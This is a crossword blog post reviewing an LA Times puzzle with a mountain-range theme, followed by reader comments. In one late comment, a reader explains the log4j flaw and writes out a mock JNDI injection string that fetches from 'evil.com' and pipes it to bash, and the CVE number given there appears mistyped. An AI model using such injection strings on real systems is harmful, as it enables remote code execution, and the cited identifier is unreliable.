google.com, pub-2774194725043577, DIRECT, f08c47fec0942fa0 L.A.Times Crossword Corner: Wednesday, December 15 Matt Skoczen

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Dec 15, 2021

Wednesday, December 15 Matt Skoczen

Theme: Mountain Range.  Each theme entry contains the name of a mountain range, and in each case it begins and ends with the first and last letters that name - hence the use of "range" in the unifier clue.  Let's start there.

37 A. What each set of circled letters spells ... and depicts: MOUNTAIN RANGE.  Self explanatory.  But could be baffling if you didn't get the circles.

17A . Enforcement arm of the fed. courts: U.S. MARSHALS.  It is a bureau within the U.S. Department of Justice, operating under the direction of the Attorney General, but serves as the enforcement arm of the United States federal courts to ensure the effective operation of the judiciary and integrity of the Constitution.

The URALS are a mountain range that runs approximately from north to south through western Russia, from the coast of the Arctic Ocean to the river Ural and northwestern Kazakhstan. The mountain range forms part of the conventional boundary between the regions of Europe and Asia.

24 A. Streaming service whose logo ends with a math symbol: APPLE TV PLUS.  A streaming device for Apple devices, smart TVs and more.  It features new, original programming every month.

The ALPS are the highest and most extensive mountain range system that lies entirely in Europe, stretching approximately 1,200 km across eight Alpine countries: France, Switzerland, Monaco, Italy, Liechtenstein, Austria, Germany, and Slovenia.

48 A. "What I Like About You" co-star: AMANDA BYNES. [b. 1986]   is an American actress. She is best known for her work in television and film throughout the 1990s and 2000s. 

The ANDES, running along South America's western side, is among the world's longest mountain ranges. Its varied terrain encompasses glaciers, volcanoes, grassland, desert, lakes and forest. The mountains shelter pre-Columbian archaeological sites and wildlife including chinchillas and condors. From Venezuela in the north, the range passes through Colombia, Ecuador, Peru, Bolivia, Argentina and Chile.

58 A. Family CBS series set on a self-named mountain: THE WALTONSThe life of a Depression-era family in Virginia's Blue Ridge Mountains is the subject of this wholesome series. The show is seen from the point of view of eldest son John Boy, who eventually goes to college, serves in World War II and becomes a novelist.

The TETONS are located in Wyoming, and are a sub-range of the Rockies.  I once read a quip that only a French man would look at these peaks and be reminded of his mistress's bosom.

Hi, Gang - JazzBumpa here to lead this expedition.  No Himalayas, so we won't need a Sherpa guide.  Let's get our climbing boots on a start the ascent.

Across:

1. "Sleepy Hollow" actress Christina: RICCI. [b 1980] is an American actress. She is known for playing unconventional characters with a dark edge.




6. Scenic overlook offering: VIEW.  As of, free, those grand Tetons.

10. Tools with teeth: SAWS.  Pliers have jaws.

14. Broadcast warning sign: ON AIR. Admonition to avoid making vagrant sounds.

15. Included in the email loop, briefly: CCED.  indicating those who are also sent a copy.

16. See 19-Across: CLEF.  I've been playing since 1960, and still want to spell this word with 2 f's.

19. With 16-Across, staff symbol for viola music: ALTO.  Presumably, this abomination exists to avoid the use of ledger lines.  In reality, there is no rational excuse for it. /rant




20. Oopsy on the keys: TYPO.  I love the German word for this: Fingerfehler.

21. Feel out of sorts: AIL

22. Somali-born supermodel: IMAN.  Iman Abdulmajid [b 1955] is a Somali-American fashion model, actress and entrepreneur. A muse of the designers Gianni Versace, Thierry Mugler, Calvin Klein, Donna Karan and Yves Saint Laurent, she is also noted for her philanthropic work. She is the widow of English rock musician David Bowie, whom she married in 1992.




23. 67.5 deg.: ENE.  The direction East-northeast.

28. Curtain material: SCRIM.  A woven material, either finely woven lightweight fabric widely used in theatre, or a heavy, coarse woven material used for reinforcement in both building and canvasmaking.

30. Vegas opening?: VEE.  A spelt-out letter.  Meh!

31. "How We Do (Party)" singer Rita: ORA. [b 1990] About whom I know nothing.


 

 32. German suffix with Konzert: MEISTER.  Auf Englisch, the concertmaster is the leader of the first violin section in an orchestra and the instrument-playing leader of the orchestra. After the conductor, the concertmaster is the second-most significant leader in an orchestra, symphonic band or other musical ensemble. 

36. Technical sch.: INSTitute.

40. Works with hide: TANS.

41. "This tastes awful!": I HATE IT.

42. CPR provider: EMT. Emergency Medical Technician.

43. Darth, as a youth: ANI.  Anakin Skywalker.

44. Green stuff: DOUGH.  Money

53. In favor of: PRO.  As opposed to Anti

54. Sciences partner: ARTS.

55. "I do not see why I should __ turn back": Frost: E'ER.  Ever, metrically force-fit.

“I do not see why I should e’er turn back, 
Or those should not set forth upon my track 
To overtake me, who should miss me here 
And long to know if still I held them dear. 

They would not find me changed from him they knew — Only more sure of all I thought was true.”

56. Where many a stuck thing sticks: CRAW. To be so offensive or disagreeable that one cannot swallow it. This expression is the modern version of stick in one's gizzard, gullet, or crop, all referring to portions of an animal's digestive system.

57. Paris gal pal: AMIE

61. Prejudice: BIAS.  pre-existimng attitude pro or anti some person or thing.

62. Pole at sea: MAST.  Support for the ship's riggings.

63. Undercut: ERODE.  A gradual wearing away, as by wind or water.  Undercut does not strike me as a good fit.

64. Is too busy, say: CANT.  Is unable or unwilling.

65. Texter's disclaimer, briefly: IMHO.  In My Humble Opinion.

66. Change: ALTER. Typically in a small but significant way.

Down:

1. Google Maps offerings: ROUTES.  To get you from point A to point B

2. On the same page: IN SYNC.  Synchronized.

3. RV park vehicle: CAMPER.  A large motor vehicle with facilities for sleeping and cooking while camping.

4. Vatican farewell: CIAO.  Hello or good bye in Italian.

5. Like some bargain bin mdse.: IRR.  Irregular - having some small flaw.

6. Blocker in a TV: V-CHIP.  A computer chip installed in a television receiver that can be programmed by the user to block or scramble material containing a special code in its signal indicating that it is deemed violent or sexually explicit.

7. "Show your cards": I CALL.   To call is to match a bet or match a raise. A betting round ends when all active players have bet an equal amount or everyone folds to a player's bet or raise. If no opponents call a player's bet or raise, the player wins the pot.

8. Sushi bar fare: EEL.  

9. Part of wpm: Abbr.: WDS.  Words per minute.

10. Rogue: SCAMP.   Someone mischievous in an amusing way.  Equivalent?  I have my doubts.

11. The whole time: ALL ALONG.  

12. Professional who breast-feeds another's child: WET NURSE.

13. NorCal airport: SFO.  The call letters for San Francisco International Airport.

18. Syrup source: SAP.  From maple trees.

22. "__ got it!": IVE.  Do you have it?

24. "You said it!": AMEN.  Statement of affirmation.

25. The Oscars, say: EVENT. A
planned public or social occasion.

26. __ Haute: TERRE.  A city in and the county seat of Vigo County, Indiana, United States, only 5 miles east of the state's western border with Illinois. As of the 2010 census, the city had a population of 60,785 and its metropolitan area had a population of 170,943.

27. Grabbed a chair: SAT.

29. Don of talk radio: IMUS.  John Donald Imus Jr., [b 1940] also known simply as Imus, was an American radio personality, television show host, recording artist, and author. His radio show Imus in the Morning was aired on various stations and digital platforms nationwide until 2018.

33. Singer Turner's memoir: I TINA.  Written in 1986

34. Indian "master": SAHIB. A
polite title or form of address for a man.

35. Barcelona aunt: TIA.  Spanish

36. Really enjoying: INTO.  

37. ABBA musical: MAMMA MIA. A story built around a collection of their songs.


 

 38. Quebecer's neighbor: ONTARIAN. All Canadians, eh.

39. Helps: AIDS.  Assists

40. __ cozy: TEA.  A thick or padded cover placed over a teapot to keep the tea hot.

43. Common online interruptions: ADS.  Short for annoyances.

45. Yank from the soil: UPROOT.  Violent

46. "Thank U, Next" singer Ariana: GRANDE.  Ariana Grande-Butera [b 1993] is an American singer, songwriter and actress. Her music, much of which is based on personal experiences, has been the subject of widespread media attention, while her four-octave vocal range has received critical acclaim.

 

 47. Doctor Doogie: HOWSER.    An American medical drama that ran for four seasons on ABC from September 19, 1989, to March 24, 1993, totaling 97 episodes. The show stars Neil Patrick Harris in the title role as a teenage physician who balances the challenge of practicing medicine with the everyday problems of teenage life.

49. Desert trial: N-TEST.  Nuclear bomb explosion carried out in a remote location.

50. "Oy!": YEESH. A non-word, and poor fill.

51. Not familiar with: NEW TO.

52. Big Band __: ERA.  A period spanning roughly the mid 3930's to mid 40's, when poplar music was dominated by the big bands of the day.

 

 56. Lower left PC key: CTRL.   A modifier key which, when pressed in conjunction with another key, performs a special operation 

57. It can replace "pie" in an idiom: ABC.  It's just that easy.

58. "Enough!" in texts: TMI.  Too Much Information.


59. Bad actor: HAM.  One who over emotes.

60. Grassy expanse: LEA.  

We have reached the apex - if not necessarily the day - then, at least this puzzle.  As in any good MOUNTAIN RANGE, there were high points and low points. Hope you found the climb exhilarating.

Cool regards!
JzB



48 comments:

OwenKL said...

FIWrong. TERRa, and didn't notice the cross was misspelt. TAtS < TANS, thought OtTARIAN was a demonym for Ottowans, and the one that I knew was wrong, but not how: shEESH < YEESH, the cross a proper name unknown to me.

The theme was kind of lame with the circles, but would have been unguessable without them. I generally dislike reveals in the middle of a puzzle, but I already guessed it by the time I got to it today.

I've been feeling sort of muzzy-headed the last few days, sleeping a lot. typical depression symptoms, but it's kept me from posifying the puzzles.

The URALS and the ALPS are high,
The ANDES and TETONS likewise.
It goes to show
What tends to grow
On mountainsides may psychedelically toxify!

{C-.}

Wilbur, even you can't say that's any good with a straight face!

PK said...

Hi Y'all! I got high with Matt's interesting puzzle. Very informative, JzB. Thank you both.

Liked the MOUNTAIN theme and got it right away with USMARSHALS' circles which helped with the reveal & other RANGES. I had never heard of the URALS until I started doing cwds years ago. For some reason, I was very excited about knowing the divide between Europe & Asia.

Didn't know RICCI and that took red-letter runs to be my last fill with most of the NW section. Somehow I got SCRIM from IM perps. Don't know that material.

Other DNK: CCED, VCHIP, 67.5 = NNE, ORA, WPM, or "oopsy on the keys" = TYPO Duh!

MAMMA MIA, a gimmee. All time favorite movie.

desper-otto said...

Good morning!

Sheesh! That was my downfall (Hi, Owen). Figured the Frost answer was EER, but couldn't suss that first letter. Bzzzzzt! Nice CSO to CanadianEh! ERODE came easily; was picturing a river bank being "undercut." Thanx, Matt and JzB. ("vagrant sounds" -- that's a new one. "Hey, no panhandlers in the studio!")

CAMPER: There's an unwritten law in our town that you must own either a boat, camper, or pickup. I've fallen into disfavor since trading my pickup for an SUV...and other reasons.

WDS: In high school I could bang out 70 WPM on a Royal office manual. Today it's closer to 60 WPM on a keyboard.

Jinx in Norfolk said...

DNF, looking up SAHIB. Might have had a chance had the crosses not been MEISTER, ANI and AMANDA BYNES. I HATE IT. Ruined an otherwise OK puzzle. But it did have a CSO to our blog mistress (CCED) and me (CAMPER), so it's got that goin' for it. I join OKL in having shESH, my sentiments exactly. On to the King Features and old NYT puzzles.

Lucina said...

Hola!

It's much too early for me at 5:54 A.M. but I just woke up so what to do? Solve the CWD, of course.

I liked the MOUNTAIN RANGE theme. On a trip to Europe we took a ride up to the ALPS in a gondola where we then had lunch. The VIEW was thrilling!

The only time I was in TERRE Haute, driving through, I thought it the noisiest city I'd ever been in with cars constantly honking.

AMANDA BYNES is unfamiliar to me and was not sure of the Y so left it blank. Drat! YEESH did not even occur to me.

Thank you Matt and Jazzbumpa whose detailed commentary is always helpful.

I love MAMMA MIA, the music, the movie, the cast! I will see it repeatedly. It has such a happy vibe.

Christina RICCI has been acting since childhood and is very talented.

Wishing you all a happy day!



KS said...

FIR, but really dislike 50 down! Yeesh! Very poor fill.

Anonymous said...

Took 7:06 for me to do with Jinx did - didn't feel like guessing at "sahib," not knowing the foreign suffix for a foreign word, or the actress and the movie, show, play, or musical that she was/is in.

Oh joy, circles.

Imus died a couple years ago.

Lemonade714 said...

Yes, Don Imus died on December 27, 2019.
Matt S. has had a resurgence in his LAT publications in 2021. I believe he was a Nancy Salomon find.

JzB was that a deliberate choice of pictures underneath the clue for the Tetons?

Thanks Matt and Ron

TTP said...



Good morning.

I guess I'm the odd one out, because after a few perps, I filled in AMANDA BYNES. She was in the news off and on, like monthly, for a year or so because of her really odd behavior and the outlandish statements she would make and then retract. Crazy stuff. At first I thought each loony episode was a mere publicity stunt, but then she was busted with drugs. She had been abusing Adderall and was taking Ecstasy (MDMA) over a long period of time and was going off the deep end. Sad story, but I think she's over it now.


Wilbur Charles, FLN, my grandmother worked for Tris Speaker at his ranch in Hubbard, Texas. My mother was born there. My grandmother, my mother and father, and most of her aunts, uncles and cousins, are all interred in that small town's cemetary. As is Tris Speaker.

I went to 3rd grade in Hubbard. Brings back a lot of memories, like getting my first whacks for misbehaving in class, having to be on stage in my pajamas for a school Christmas play, dangling lines in the creek fishing for crawdads, and the Dairy Queen type of place that was on the main drag, halfway on the walk home from school.

Leo and TXMs, when I lived in the Spring Branch area, a new ice house was built on one of the side streets between Hammerly and Long Point. Picnic tables to sit at while enjoying a six pack bucket of iced Lone Star longnecks with a friend or group of friends. Great atmosphere to relax in after a long day at work.

Back to the here and present. Gotta get the garbage and recycling bins out to the street.

See all y'all later n'at !

Big Easy said...

Although I FIR, this Wed puzzle was way out of my wheelhouse. I'd never watched THE WALTONS (or Doogie HOWSER) but it was an easy fill after a few perps; did not know it was named for a 'mountain'. I've heard of those shows but for AMANDA BYNES & "What I Like About You"- or Christina RICCI & "SLEEPY HOLLOW"- never heard of the actresses or the shows. And I can't believe Rich let that part of the 58A clue be printed since MOUNTAIN RANGE was the puzzle theme. But with the circles the ranges were easy to spot.

YEESH & "Oy" - don't know who ever says that because I've never heard anybody say 'yeesh'. The Y for those two unknowns was my last fill.

"How We Do Party" & "Thank U, Next"- two unknown songs and the singers were filled by perps.
Two text abbrs. crossing -TMI & IMHO-?? I think I'll make up a new one for people who don't like to talk to their friends, so they text AND they are too lazy to spell the words so they make their own acronyms.

JzB- ALTO CLEF- I agree. Any musician already knows treble & bass clefs. And people only played the viola because those were needed for the orchestra and probably already played the violin. Way down the list from First Chair violin to become a Konzert MEISTER.

D-otto, out of disfavor? Welcome to my world. At our age we should not really care what those others like or dislike.

Irish Miss said...

Good Morning:

I enjoyed the solve but, like Owen, I’m disappointed with a revealer appearing before you finish filling in all of the themers. I’m also not a fan of circles but I can understand the necessity for them in certain grids. Those quibbles aside, we had a couple of cute duos with Tea/Tia and Alto/Clef and some nice CSOs to CanadianEh (Ontarian), Ray O and Anon T (Ciao), Lucina (Tia), and CED (Scamp). I mistook Yeesh for Jace’s Sheesh and filled it in confidently.

Thanks, Matt, for a mid-week treat and thanks, JzB, for the detailed and informative summary.

Have a great day.

Wilbur Charles said...

I inked bet for that Vegas opening.

Owen, it's not Frost but better than the average Wilbur. B-?
Anon-T will make the final grade

FIR since the Y in BYNES made the most sense. Oy Ve is a Yiddish expression. Jeesh is a non Yiddish equivalent

Think I'll head to the CAFF in town

WC

Husker Gary said...

Musings
-Subbing again today but we are letting out at 1:30 because winds of 70+ mph are predicted for this afternoon
-_EESH/B_NES liked my guess
-Using a SCRIM in theater
-Waking up in a CAMPER with the TETONS just outside the window was an amazing experience
-With all the venues around today, good luck with that V-CHIP
-“I’VE GOT IT” – The center fielder makes sure the shortstop hears this before there is a collision
-ADS – there’s no such thing as a free lunch
-Those desert N-TESTS have caused many cancers in the American SW
-Jim Carrey has made a nice living by being a HAM

unclefred said...

Lots of complaints here in the comments about “YEESH”. It is a word I am familiar with, though. Maybe it depends on where you grew up? Too many DNKs to list, making this CW a very tough struggle for old unclefred, requiring extensive PERPs. I managed to FIR, but claim yet another booby prize for taking 33 minutes to do so. For a few days last month I could not get my printer to work, and did the CW on my laptop with red letters turned on. Sure goes a lot faster than pen and paper!! Anyway, even though it seemed more like a Friday CW, I still enjoyed the challenge, and thought the CW was fun. Thanx MS. I saw the theme immediately with the first theme fill, which helped, otherwise with all the DNKs this would have been a DNF. Thanx JzB for your excellent, informative and entertaining write-up.

waseeley said...

OwenKL @3:52 AM {A+} What are you talkin' about? You blew my mind man!

CanadianEh! said...

Wonderful Wednesday. Thanks for the fun, Matt and JazzB.
I FIWed twice : first by not including Y in my vowel run to decide AMANDA B_NES. I chose E since EEESH sounded the best. Oy!
Second, I did not know the vowel in the cross of SCRIM and IMUS. I chose an A. YEESH!
But I got the MOUNTAIN theme with the URALS (although I missed seeing the RANGE).
Yes, Lucina, the VIEW in the ALPS is breathing. (My best memory is of the Matterhorn area!)
But IMHO, the Rockies, between Banff and Jasper Alberta, are a close rival.
(BigEasy- I agree about “mountain” in that 58A clue.)

Hand up for Las before VEE. I smiled at the ABC clue.
Who else had ALTO above CLEF and had to invert when perps wouldn’t match?
I entered MAMMA MIA with one M (as Mama) and wondered what to do with the extra space.

WET NURSES were common in 19th century British upper class when it was considered distasteful to nurse your child. Thankfully, times have changed. Current equivalent might be someone who banks excess breast milk and makes it available for another mother’s baby. Sorry if TMI for you.

We had wpm and TYPO., ADS and VCHIP.
Spitzboov would have given us a German explanation for MEISTER. He is missed!

Yes, I will take a CSO with ONTARIAN (plus I have TEA cosies). Yes, IM, I saw those other CSOs, plus Jinx’s CAMPER , C.C’s CCED, and Jayce’s SHEESH.

Wishing you all a great day.

Sherry said...

My comments would mimic "Big Easy's" perhaps it's a New Orleans thing but was unfamiliar with many of the clue names and references.

Anonymous said...

The good news is that I enjoyed the theme. The bad news is I disliked about everything else. I dislike too much PPP trivia and there was indeed a lot of it.

Chairman Moe said...

Puzzling thoughts:

Hi folks. Back from my week plus visit with my daughter, son-in-law, and their 18 month old son. Gramps (me) has a completely filled up emotional gas tank! Christmas celebrated early but that didn’t seem to hinder the airport traffic - full flights in both directions

ALTO CLEF - my daughter plays bassoon for the Atlanta Ballet Orchestra, and as I was reading the score (her parts) several spots were keyed in this signature. We got to hear her play at one of the 26 performances of The Nutcracker she’s doing this season. The theater used a SCRIM curtain for extra effect. That ballet never gets old for me, but for her I imagine it does

Finished today’s puzzle with zero mistakes

Ron, I agree that YEESH is a bit of a stretch, but in a way I’m glad that Rich and Joyce let this slide. Nice theme Matt

I need a few days of “vacation” to recover from the trip. Daughter and son-in-law (who plays for the Atlanta Symphony) had overlapping gigs so Gramps (and Margaret) had two PLUS days to be babysitters.

Here’s a Moe-ku for your groaning pleasure:

WET NURSE has buttons
That control nursing. They’re called:
TETONS and TET-OFFS

😂😂

ATLGranny said...

Somehow managed to FIR in spite of many unknowns. Had a good feeling with the puzzle and appreciated the circles in finding the mountain ranges. Thanks, Matt. And thanks JazzB for another appearance and helpful review. Always enjoyable.

Busy day, so got to go. Hope you all are doing well.

Ray - O - Sunshine said...


IMHO, not knowing the co-star of "What I Like About You" meant a DNF 🙄. Never heard of it.. I know the 1980 song: "That's What I like About You" and the movie "Ten Things I Hate About You" a modern "Taming of the Shrew". Didn't know whether it was an H or A test, (neither correct)...first letter of EESH, tried Y which turned out correct. (another non word, WEES 😡...IHATEIT)

Pax Vobiscumwouldn't fit for "Vatican Farewell" I doubt Pope Francis farewell blesses anyone with "CIAO" .Didn't realize a WETNURSE was a "profession" (need a college degree and a license?...like an EMT 🤔)

I kept misreading "Quebec's neighbor" over and over couldn't figure out why Canada eh's Ontario was a letter short. Prolly cuz I'm useta "Quebecker" with a K 😊

"How do we party" ...Hardy? ABC in the sky? oh..."easy as"...wrong Idiom from an idiot 🥴

Jazz ..🎻 I did not understand your splainin of 19a 🤔

Maxwell Smart nemesis with "The"......CRAW.
"I do" location...ALTER
Dirty dish location...INSYNC
"What do you do to your hair?" "_____ "......IMUS
Don't call it Italian gravy!!....SAWS

Two Duds in a row...yikes! sheesh! now YEESH. Hope Thor is kinder tomorrow on his day

Vidwan827 said...

Thank you Matt Skoczen for a very challenging puzzle. I enjoyed it.
Thank you Jazz Bumpa for an illuminating, musical linked, funfilled review.

I had a tough time, and YEESH was my last fill.
Not familiar with the word, and/or the actress.

Better off than the ordinary wealthy folks ... RICCI
Piled on the condiments .... SAWS
Rubbernecked the crash .... CCED
One who's really really 'laid back' .....TYPO
(Barely) a woman ..... IMAN
Pee short of 'eke out' ..... SCRIM
Online Highway .... ERODE

One who walks on the wet Asphalt .... ONTARIAN

SAHIB, is quite passe' nowadays. It was a term of obsequious-ness, like Bwana, in Africa, .... used mostly for the British Raj officials. When slurred, at present times, to sa'ab ... it is far more acceptable and commonplace. 'Sir' is more appropriate.

BTW,
IMAM ... a mosque leader / elder / one who gives the sermon etc.

IMAN ... means 'faith' , or Belief or Confidence, etc.

INAM ... means Race ( as a sprint ), or reward or gratuity or medal .... many other meanings.

Have a nice day, all.




Zhouqin (C.C.) Burnikel said...

Hi guys,

Here is a mini tribute puzzle to Spitzboov.

Ray - O - Sunshine said...


A fitting tribute to Spitz (Al)...thanks C C (and finally a FIR)... 🚢

December 15, 2021 at 1:05 PM

Misty said...

Fun Wednesday puzzle, Matt--many thanks. And always helpful explanations and illustrations, JazzB--thanks for those too.

My favorite clue was "Oopsy on the keys." I got TYPO in exactly two seconds.

Also loved getting MAMMA MIA instantly for the ABBA musical.

But I've never heard of SCRIM.

And, come on, Matt--"green stuff" for DOUGH? YEESH! Haven't heard 'money' called that for a while. Does that include that gray 100$ bill?

Yup, lots of fun. Thanks again.

Have a great day, everybody.

Malodorous Manatee said...

Greetings from the Rockies (a range that did not make it into today's puzzle). It is snowing today and my days of skiing in white-outs are behind me so there's time to catch up on some things.

Thanks for the Spitzboov tribute mini puzzle, C.C. I also enjoyed your Food Glorious Food puzzle in USA Today.

Ol' Man Keith said...

A fine PZL from Mr. Skoczen, well parsed by JazzB!

WET NURSE reminds me of when I learned that term. I was in a high school drama production of a Moliere comedy, playing the title role in The Doctor in Spite of Himself.
It was a very "flirty" part, and I had to make googoo eyes with all the female characters. One of them was called simply "Nurse," played by a buxom young lady. She was certainly the most "developed" female in our troupe.
The script gave me this line to say to her: "How fortunate the infant that enjoys YOUR good offices!"
I was 15, and I had no idea what the words meant.
In rehearsal I made no sense of it, and the director shouted from the auditorium: "C'mon, Keith, You're talking about her t*ts!"
General laughter.
I turned beet red.
~ OMK
____________
DR:
Three diagonals on the far side.
The central diag offers an anagram (13 of 15 letters) that touches on a topic close to home.
My home, that is.
My Mom passed along a 100% Celtic legacy, as her parents were Cornish (father) and Welsh (mother). My 50% throbs through my veins, keeping my sympathies open to all things pertaining to those ancient tribes.
There are times when I may be truly said to possess a...

"CELT'S HIVE MIND"!

waseeley said...

Fully recovered from our two young grandsons yesterday and ready for another party!

Thanks Matt for a wonderful Wednesday puzzle with lots of wide RANGING fill.

And thanks JzB for your usual incisive review. I always appreciate your candor. You're not afraid to call a FLAT a FLAT. Oh, and I loved the musical revue.

A few favs:

32A MEISTER. The concertmaster is often called on as the soloist in a violin concerto, in the event that the orchestra can't afford a "star".

48A AMANDA BYNES. DNK Ms BYNES and almost NATICKED on 50D. After an alpha run I hit "Y" and figured YEESH sounded enough like Yiddish to WAG it.

53A TETONS. Despite some of the snickering among the Cornerite males, your comment was very tasteful JzB. I'm not sure you'd have gotten away with an actual French lesson.

4D CIAO. SALVE wouldn't fit.

10D SCAMP. The scamp "Til Eulenspiegel" was immortalized in an R. Strauss tone poem. As it's a bit long, and has a tragi-comic ending, here's a clip of just Til's theme presented in the horn solo.

12D WET NURSE. See the English version of 53A.

CanadianEh! @10:16 AM Working mothers with infants will sometimes express their milk at work and keep it in the office fridge for later use. No "supply chain" problems" and no inflation (excepting for the pump I guess).

Cheers,
Bill

C.C. Thank you for that beautiful tribute to Spitz.

Jinx in Norfolk said...

CC, Spitz would have loved that. Thanks.

C-Moe, the last time I went to a concert in Atlanta (circa 1998), it was at a venue newly opened to the discovery that they had grossly underestimated the number of women's restroom stalls needed. It was either a new hall or a newly-renovated one. In any case, they rolled up a few potties-on-a-trailers outside for the men to use, and made all the indoor loos womens. I'm pretty sure it wasn't I. M. Pei's fabulous Morton H. Meyerson hall. Maybe Atlanta Symphony Hall? The Fox Theater is also a great, historic venue, but I think they were johnny on the spot and got potty equity right there.

Lucina said...

Thank you, C.C. I liked the tribute puzzle to Spitz. I already miss him so much.

Anonymous T said...

Hi All:

DNF / FIW - SAHI_ and gEESH (AMANDA [a]gNES?)

Thanks Matt for the puzzle. Theme was fun but grid was heavy on (modern) A&E. ++what BigE said re: Mountain in clue and fill.

Great musical expo, JzB. The ALTO CLEF is useless why? [I'm not a musician]
LOL Tetons VIEW under RICCI.

WOs: TERRa, wrong AdeS->AIDS
ESPs: RICCI, IMAN, ORA, ENE (oh, I get it now), MEISTER
Fav: GRANDE - makes me think of what Rep. Dan Crenshaw(R) did to Pete Davidson (Dan's ringtone was one of her songs; right after the breakup. Pretty funny. Google at your own (Political) risk).

re 63a: I think the clue is fair. "Unfounded claims of massive voter fraud [Undermines / ERODES] our faith in our democracy."

TYPOs - my favorite key is Backspace (in G-Minor)
//D-O: every TYPO on a manual typewriter would cost me 2 minutes of correction tape alignment. WPM~=60+; Effective WPM=2 ;-)

{B}
//WC - I don't have "final grade powers." Just call 'em like I sees/feels 'em.
Fun DR, OMK.

uncleFred - don't beat yourself up over time. I ink LHF (low-hanging-fruit) when I have a few cycles to spare; Sometimes finishing ends up taking >10 min of concentration. Saturdays are >2hr efforts (if I'm lucky!)

TTP - We're looking to possibly move to Spring ("Old houses that all look the same" - Hahtoolah's map link is still cracking me up) to be closer to DW's work.

HG re HAM: Have you read Jim Carrey's book? It got dark quick and I ducked out a few chapters in.

C, Eh! & Waseeley - I can't estimate how much of DW's frozen 'milk' was tossed after weanings. TMI?

C.Moe: LOL ku!
// w/ 2 daughters in ballet for 10+ years... I've had enough Nut Cracker :-)

Some Ramones for Ray-O (LOL 86's nemesis CRAW): What I Like About You

I've been burning the midnight oil the last few days... Y'all have probably heard (it was on NPR today) about the log4j/CVE-2021-22448 vulnerability...
This is bad. Very Bad. Like Cross the Streams Bad.
I've only napped since Friday.

I'll play CC's tribute to Al later - gotta get back to my running processes post-haste

Cheers & CAIO, -T

Picard said...

Loved the MOUNTAIN RANGE theme that seemed like a CSO to me.

Here I was rather precariously posed at the end of the hike I led this past Saturday in our local MOUNTAIN RANGE. Note the SCENIC OVERLOOK VIEW behind me.

I had not led this hike for over four years. It turned out that the pleasant stroll along a stream at the top turned into a bush whacking slog. The entire area was burned in the 2017 Thomas Fire which was the worst fire in California history at the time. Then what remained was washed away in a mudflow that killed 23 people. It also seems to have obliterated any trace of that trail. I was grateful that my fifteen followers on the hike enjoyed it all anyway!

Hand up Natick cross of BYNES and YEESH seemed a bit unfair. WAG to FIR.

Picard said...

From Monday:
unclefred, Vidwan and Michael Thank you very much for taking the time to read my GMO article and for your thoughtful, kind and supportive comments.

Yes, I was embarrassed to discover that I had been repeating false or misleading information about GMOs and Monsanto for years and I wanted to make some amends. That book "Seeds of Science" was fascinating, written by English former eco-terrorist Mark Lynas.

He is still very much an environmental activist. We tried to arrange for him to speak to our Humanist Society via Zoom from England. But he was busy at the COP26 convention. I hope we are able to reschedule him soon.

Chairman Moe said...

Jinx @ 2:01:

I saw one of the Nutcracker performances at the Fox in 2016; this year the performance was at the Cobb Performing Arts Center

Jayce said...

Hand up for having ALTO above CLEF and having to invert when perps wouldn’t match. Hand also up for LAS before that smelly VEE. A further hand up for going through the whole alphabet before settling on that Y in in that stinky YEESH.

Michael said...

-T @ 3:18 --

And I quote: "This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack."

Whatever happened to good, old-fashioned looting and pillaging? I miss those good times when I actually understood what was going on.

(I'm running short on empathy right now, with so many things going on, that there is NO possibility of doing anything about them, and we all get stuck in the frustration loop.)

OTOH, I'll go check and see if there is a PDQ Bach recording of "Backspace in G minor."

Lemonade714 said...

It is not often that I miss an entire day of the Corner but Monday was such a day. As a result I did not know Spitzboov had died and I am so sorry for his family. He was a very important part of this group. The tributes and the mini are well done. Rest Al.

TTP said...





Dash T, Spring Branch in Houston is the area just north of the Katy Freeway and just west of the Northwest Freeway out to about Gessner. If you moved there, you'd be relative blocks away from TXMs, but your wife would still have a good drive to work. :>) Spring is out in the boonies to the north, on your way to The Woodlands and Conroe.

At least Spring was in the boonies, way back when. It was a nicer area with many newer planned developments, just like The Woodlands as I recall. I usta know just about every area of Houston and all the surrounding areas, and knew all of the surface streets to get from here to there to avoid traffic backups.

Thanks for the heads up on the latest CVE. I'll make sure my platform is updated with the latest, and won't click any links. In fact, I see that my machine needs to be rebooted to install some updates now.

Ray - O - Sunshine said...


Anon Tony's thanks for the vid, your spellchecker playing tricks, It's the Romantics not the Ramones

HOUSTON: My nephew moved there for a job a few years ago. The air quality was so bad his dormant asthma came roaring back and he had to leave in less than a month. 🥵

Google:
Houston has never met the federal standards for smog. Last year, the region's air was especially polluted. Between March 2019 and January 2020, six chemical disasters filled it with dark plumes of smoke for days and dangerous, cancer-causing air toxics like benzene and 1,3-butadiene.May 19, 2020 💀

I thought the Texas refusal to get Covid vaccinated was political, why bother when the air will kill you first.😳

Anonymous T said...

Michael...

Do you really wanna know?
//everyone skip a bit...
So, log4j is nice. You get an IP address, say, and it will happily lookup the DNS name to insert into the log entry if you (by default) format for it.

However, the lookup can be manipulated via the jdni call...
${jdni:ldap http[:]//evil.com/badhstuff | bash
log4j will gladly do the lookup and execute the yum-yums and BOOM! [that's official tech-talk - trust me, I'm a professional]

Anyway - anything using java's log4j >1.x is at risk. So that means most everything that logs javaStuff (Android phones?) is just ripe for fun & profit.
Write once, exploit everywhere!

My $company is seeing about 2k hits/day. The crunchy outside is repelling malfeasance but!, if the logs ships to inside boxen, well...
Evil Happens. (again, these are technical terms; YMMV).

TTP - LOL. µ$oft's December Patches are the "New Girl" on the block -- Squirrel!

Ray-O:
a) you're right re: ARTist but that was my bad (i'm tired) not the spell-chekcer's.
b) The CRAW.

Cheers, -T

TTP said...


Dash T, you still dance with the girl that you took to the ball. They'll catch up, I suppose. Get some rest.

Oas said...

I too missed coming to the corner on Monday and Tuesday .Sad to hear of Spitzboov's passing.
Thankyou CC for letting us know. Thanks also for informing us earlier when he took sick.
I was aware that he had not posted for quite awhile already and was hoping to hear from him again.
He was one of the regulars that I particularly looked forward to finding on the corner.
A man of varied experiences interests and a wealth of knowledge and wry humor.
We had in common an understanding of the German and Low German languages which was one of the things that drew me to him. May he Rest in Peace and my condolences to his family and friends that were close to him. tsusch

Chairman Moe said...

Puzzling thoughts continued …

May I too add my condolences to Al’s family and those of us who knew him personally here at the Corner. RIP sir.

waseeley said...

-T 5:33 PM I think women are under considerable pressure to express themselves in that situation.

